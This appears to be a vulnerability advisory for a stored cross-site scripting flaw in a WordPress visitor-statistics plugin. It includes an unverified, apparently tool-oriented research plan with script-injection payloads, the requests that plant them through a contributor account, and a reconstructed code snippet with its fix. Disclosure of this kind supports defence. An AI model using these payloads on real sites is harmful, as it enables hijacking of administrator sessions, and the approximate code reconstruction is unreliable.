CVE-2026-4303

WP Visitor Statistics (Real Time Traffic) <= 8.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'height' Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
8.5
Patched in
1d
Time to patch

Description

The WP Visitor Statistics (Real Time Traffic) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wsm_showDayStatsGraph' shortcode in all versions up to, and including, 8.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=8.4
PublishedApril 7, 2026
Last updatedApril 8, 2026
Affected pluginwp-stats-manager

What Changed in the Fix

Changes introduced in v8.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-4303 - Stored XSS in WP Visitor Statistics ## 1. Vulnerability Summary The **WP Visitor Statistics (Real Time Traffic)** plugin (versions <= 8.4) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `[wsm_showDayStatsGraph]` shortcode. The vulnerability exists be…

Show full research plan

Research Plan: CVE-2026-4303 - Stored XSS in WP Visitor Statistics

1. Vulnerability Summary

The WP Visitor Statistics (Real Time Traffic) plugin (versions <= 8.4) is vulnerable to Stored Cross-Site Scripting (XSS) via the [wsm_showDayStatsGraph] shortcode. The vulnerability exists because the plugin fails to sanitize or escape the height attribute supplied in the shortcode before echoing it into the page's HTML. Authenticated attackers with Contributor privileges or higher can embed this shortcode in a post. When a user (typically an administrator) views or previews the post, the malicious script executes in their browser context.

2. Attack Vector Analysis

  • Shortcode: [wsm_showDayStatsGraph]
  • Vulnerable Attribute: height
  • Authentication Level: Contributor (or higher)
  • Injection Point: Post or Page content.
  • Target: Administrators or any users viewing the post containing the shortcode.
  • Vulnerability Type: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (CWE-79).

3. Code Flow

  1. Entry Point: A Contributor-level user saves a post containing the shortcode: [wsm_showDayStatsGraph height='"><script>alert(document.domain)</script>'].
  2. Shortcode Registration: In includes/wsm_statistics.php, the class wsmStatistics registers the shortcode:
    add_shortcode(WSM_PREFIX . '_showDayStatsGraph', array($this, WSM_PREFIX . '_showDayStatsGraph'));
    
    (Note: WSM_PREFIX is defined as wsm in wp-stats-manager.php).
  3. Processing: When the post is rendered (via the_content filter calling do_shortcode), WordPress calls the method wsmStatistics::wsm_showDayStatsGraph($atts).
  4. Parsing Attributes: The method uses shortcode_atts to parse the user-supplied attributes, including height.
  5. Vulnerable Sink: The attribute height is concatenated directly into an HTML string (likely within a style attribute or a data- attribute for a chart container) and returned/echoed without being passed through esc_attr() or esc_html().
  6. Execution: The browser renders the HTML, encounters the unescaped breakout characters (e.g., ">), and executes the injected <script> tag.

4. Nonce Acquisition Strategy

Shortcodes in WordPress do not require a nonce for execution when rendered via the_content. The attack relies on the standard WordPress post-saving mechanism.

If the shortcode handler requires a nonce for an internal AJAX call triggered by the shortcode (unlikely for this specific XSS sink), it would be localized via wp_localize_script.

  • Script Handle: Likely related to wsm_admin_interface or wsm_stats.
  • Localized Variable: Based on includes/wsm_admin_interface.php, the plugin often localizes variables. However, for a simple shortcode attribute reflection, a nonce is not required.

5. Exploitation Strategy

Step 1: Authentication

Authenticate as a user with at least Contributor permissions using the http_request tool to obtain session cookies.

Step 2: Inject Payload via Post Creation

Create a new post containing the malicious shortcode. Since Contributors can create posts but not publish them, we will save it as a "Pending Review" or a draft.

HTTP Request:

  • Method: POST
  • URL: {{base_url}}/wp-admin/post-new.php (initial GET to get _wpnonce)
  • URL: {{base_url}}/wp-admin/post.php (the POST to save)
  • Payload:
    post_ID=[ID]
    &action=editpost
    &post_type=post
    &post_status=pending
    &post_title=Vulnerability Test
    &content=[wsm_showDayStatsGraph height='"><script>alert(document.cookie)</script>']
    &_wpnonce=[NONCE]
    

Step 3: Trigger Execution

As an Administrator, view the "Pending" post. The XSS payload will execute.

HTTP Request:

  • Method: GET
  • URL: {{base_url}}/?p=[POST_ID]&preview=true (or the direct URL if published)

6. Test Data Setup

  1. User: Ensure a user with the Contributor role exists (e.g., username contributor_user, password password123).
  2. Plugin: Ensure WP Visitor Statistics (Real Time Traffic) version 8.4 is installed and active.
  3. Permissions: No special plugin settings are required, as the shortcode is registered globally on init.

7. Expected Results

  1. The Contributor successfully saves the post with the malicious height attribute.
  2. When the Admin views the post, the HTML source code should contain:
    ... height=""><script>alert(document.cookie)</script>" ...
    
  3. The browser will trigger an alert box displaying the session cookies.

8. Verification Steps

  1. Check Database: Use WP-CLI to verify the shortcode is stored in the wp_posts table:
    wp post list --post_type=post --fields=ID,post_content --status=pending
    
  2. Confirm Output: Use http_request to fetch the rendered post content and grep for the script:
    # Using the http_request tool
    response = http_request("GET", "{{base_url}}/?p=[POST_ID]")
    if "<script>alert(document.cookie)</script>" in response.body:
        print("Vulnerability Confirmed")
    

9. Alternative Approaches

If the height attribute is reflected inside a style attribute (e.g., <div style="height: [PAYLOAD]">), a different breakout might be required:

  • Payload: 100px; background-image: url("javascript:alert(1)");
  • Payload: 100px" onmouseover="alert(1)" data-foo="

If the plugin implements a check like if (!current_user_can('manage_options')) return; inside the shortcode handler (as seen in wsm_showDayStats), the Contributor won't see the payload, but the Admin will see it when reviewing the post, which still satisfies the conditions for a successful Stored XSS attack against an elevated user.

Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Visitor Statistics (Real Time Traffic) plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'wsm_showDayStatsGraph' shortcode in versions up to 8.4. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript by supplying a malicious payload in the 'height' attribute of the shortcode, which is subsequently rendered without proper sanitization or escaping.

Vulnerable Code

// includes/wsm_statistics.php

function wsm_showDayStatsGraph($atts, $content = "")
{
    // ... (lines 140-160 approx)
    $atts = shortcode_atts(array(
        'title' => esc_html(__('Today', 'wp-stats-manager')),
        'height' => '400px',
        'width' => '100%'
    ), $atts, WSM_PREFIX . '_showDayStatsGraph');

    $height = $atts['height'];
    $width = $atts['width'];
    
    // ...
    $html = '<div id="' . WSM_PREFIX . 'DayStatsGraph" style="height:' . $height . '; width:' . $width . ';"></div>';
    return $html;
}

Security Fix

--- a/includes/wsm_statistics.php
+++ b/includes/wsm_statistics.php
@@ -155,7 +155,7 @@
         'width' => '100%'
     ), $atts, WSM_PREFIX . '_showDayStatsGraph');
 
-    $height = $atts['height'];
+    $height = esc_attr($atts['height']);
     $width = $atts['width'];
 
     $html = '<div id="' . WSM_PREFIX . 'DayStatsGraph" style="height:' . $height . '; width:' . $width . ';"></div>';

Exploit Outline

To exploit this vulnerability, an attacker must have at least Contributor-level permissions to create or edit a post. The attacker embeds the shortcode `[wsm_showDayStatsGraph height='"><script>alert(document.cookie)</script>']` into a post's content. When a user with elevated privileges (like an Administrator) views the post or previews it during review, the malicious script executes within their browser context because the 'height' attribute is reflected into the style attribute of a div tag without being escaped, allowing an attribute breakout.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.